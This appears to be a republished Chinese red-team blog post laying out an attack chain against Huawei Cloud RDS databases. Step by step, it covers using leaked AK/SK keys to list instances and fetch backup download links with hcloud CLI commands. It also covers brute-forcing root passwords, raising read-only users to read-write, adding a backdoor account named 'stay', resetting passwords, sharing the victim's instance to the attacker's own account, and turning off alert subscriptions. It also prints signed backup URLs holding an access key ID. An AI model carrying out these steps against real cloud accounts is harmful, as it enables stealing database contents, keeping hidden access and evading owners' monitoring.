记一次云数据RDS攻防
2022-7-18 11:31:53 Author: 白帽兔(查看原文) 阅读量:11 收藏

0x0001, 收集信息

1.相关的访问凭据 泄露

其实也都是一样的,在收集信息的时候,尽量细心去看看目标数据库账号密码,云服务器账号的访问凭证,临时凭证,sdk等

2.备份管理

这个的用途也是非常的明显,可以下载可以恢复,查找相关数据


倘若,我们有幸 能够能到ak ,sk的话,可以登录OBS Browser查看外部储存桶,看看管理人员是否将备份放到服务器上


在收集信息的时候,要注意以下连接


https://obs.cn-south-1.myhuaweicloud.com/dbsbucket-cn-south-1-ea28ad0541ce46d1a14cf6affac93242/1471f191bf52426f937b8e9b5f87a5e5_2b51b2c6abdf462893939964b4c612fain01_Snapshot_fccfc85d4767460786a8cdd00b021f87br01_20220328075533310_20220328075534031_dd6d837fe38542e39c939c65cc2eb946no01_.qp?AWSAccessKeyId=GJADEH3HQHGDFA1I9TZ1&Expires=1648455224&response-cache-control=no-cache,no-store&Signature=ZvOnZ1Ggj+d3M3rR+RNWFCLf5Xk=
https://obs.cn-south-1.myhuaweicloud.com:443/dbsbucket-cn-south-1-ea28ad0541ce46d1a14cf6affac93242/1471f191bf52426f937b8e9b5f87a5e5_2b51b2c6abdf462893939964b4c612fain01_Db_270e4eee5c0645c491a0256aee83277fbr01_20220328075745865_20220328075807598_b1f9ce13819a4a089c868f408cd66ecdno01_.qp?AWSAccessKeyId=GJADEH3HQHGDFA1I9TZ1&Expires=1648455325&response-cache-control=no-cache,no-store&Signature=cH06dRbBcK/fSX8MX04aM6lntoQ=

上面的链接都是以.qp结尾的文件,这个链接就是数据库备份下载链接,但只有5分钟的时效

1.获取"tenant_id"

hcloud ECS ListServersDetails --cli-region="cn-south-1"


2.查询数据库实例列表获取id

hcloud RDS ListInstances --cli-region="cn-south-1" --Content-Type="application/json" --project_id="0a8453d1f700250e2f02c00e683b8531"


3.获取备份列表,拿到id

hcloud RDS ListBackups --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --instance_id="2b51b2c6abdf462893939964b4c612fain01"

4.获取备份下载链接

hcloud RDS ShowBackupDownloadLink --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --backup_id="270e4eee5c0645c491a0256aee83277fbr01"

0x0002 初始访问

1.访问凭证登录

如果拿到了数据库账号密码,就直接登录即可

如果泄漏了高权限的AK SK,可以新建一个同权限的IAM账号登录控制台。

2.弱口令

如果数据库存在弱口令,可以爆破猜接 ,默认的华为RDS账号是root

3.绑定公网

如果数据库创建在内网中,我们可以绑定,公网Ip来链接,需要注意的是这个公网Ip必须是用户自行购买的


绑定后我们可以通过远程登录来,登录数据库了

4.同VPC下主机登录

如果RDS不出网,我们可以想办法登录同网段的ECS服务器,然后通过MYSQL连接到不出网的数据库。

mysql -h 192.168.0.12 -uroot -p

0x0003语句执行

1.数据管理服务DAS

华为云控制台,需要数据库密码才可以登录执行语句,通过泄露的AK,SK来新增账号,或修改原来账号密码,来登录数据库,

进入开发工具就可以登录数据库,执行语句

2.数据库连接

如果直到数据库账号密码就可以直接远程登录试试

0x004权限提升

1.地权限收集到高权限的访问凭证信息

使用低权限账号,登录数据库,然后寻找访问密钥,账号密码,等信息

获得高权限账号

如果当前数据存在 Web 应用上的用户密码信息,则可以通过尝试获得 Web 应用系统权限,在 Web 应用系统权限下,搜索数据库的访问密钥或者云服务的 API 密钥,从而进一步横向到数据库高权限。

2.数据库自身漏洞

比如提权,暂时未发现云服务商有此类漏洞。

3.修改读写权限

控制台修改只读权限为读写

cli修改只读权限为读写

hcloud RDS AllowDbUserPrivilege --cli-region="cn-south-1" --instance_id="dddddd" --project_id="0a8453d1f700250e2f02c00e683b8531" --db_name="huoxian" --users.1.readonly=false --users.1.name="admin"

4.修改IAM账号权限

我们可以修改IAM账号的权限使其拥有修改数据库的权限。

0x0005 权限维持

1.添加数据库账号密码

控制台添加账号

华为云cli添加账号

hcloud RDS CreateDbUser --cli-region="cn-south-1" --instance_id="2b51b2c6abdf462893939964b4c612fain01" --project_id="0a8453d1f700250e2f02c00e683b8531" --password="1234qwer!" --name="stay"

2.修改数据库账号密码

控制台修改密码

华为云cli修改密码(密码强规则)

hcloud RDS ResetPwd --cli-region="cn-south-1" --instance_id="2b51b2c6abdf462893939964b4c612fain01" --project_id="0a8453d1f700250e2f02c00e683b8531" --db_user_pwd="1234qwer!"

3.共享数据库实例

我们可以将对方的数据库实例分享给自己,然后在自己的控制台就可以登录。

首先我们需要知道数据库的账号密码,或者可以使用前面讲到的重新添加一个账号。

接着新增数据库实例登录,这里选择记住密码,我们自己账号登录时便不需要密码了。

然后查看共享用户数,选择手动录入,输入自己的账号ID即可,返回自己的账号看下。

直接点击后面的登录

这样就可以在管理员不注意的情况下一直可以登录对方的数据库实例。

4.修改现有账号权限

例如账号无法使用UPDATE,CREATE等权限,可以在用户管理-全局权限处设置。

0x0006绕过防御

可关闭告警相关的所有订阅

0x0007收集信息

1.日志下载

可下载错误日志,慢日志和主备切换日志来查找信息。

2.备份数据库

可下载已备份数据库到本地,来搜集信息。


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4NzUzNzgyMw==&mid=2247485241&idx=1&sn=420d538dcc0611fce666e01e2f568686&chksm=9036a6c9a7412fdf8099e0f945f84e65a1de04f1e4be888a0e802ee5d3ccdbd65fb32e05d9b1#rd
如有侵权请联系:admin#unsafe.sh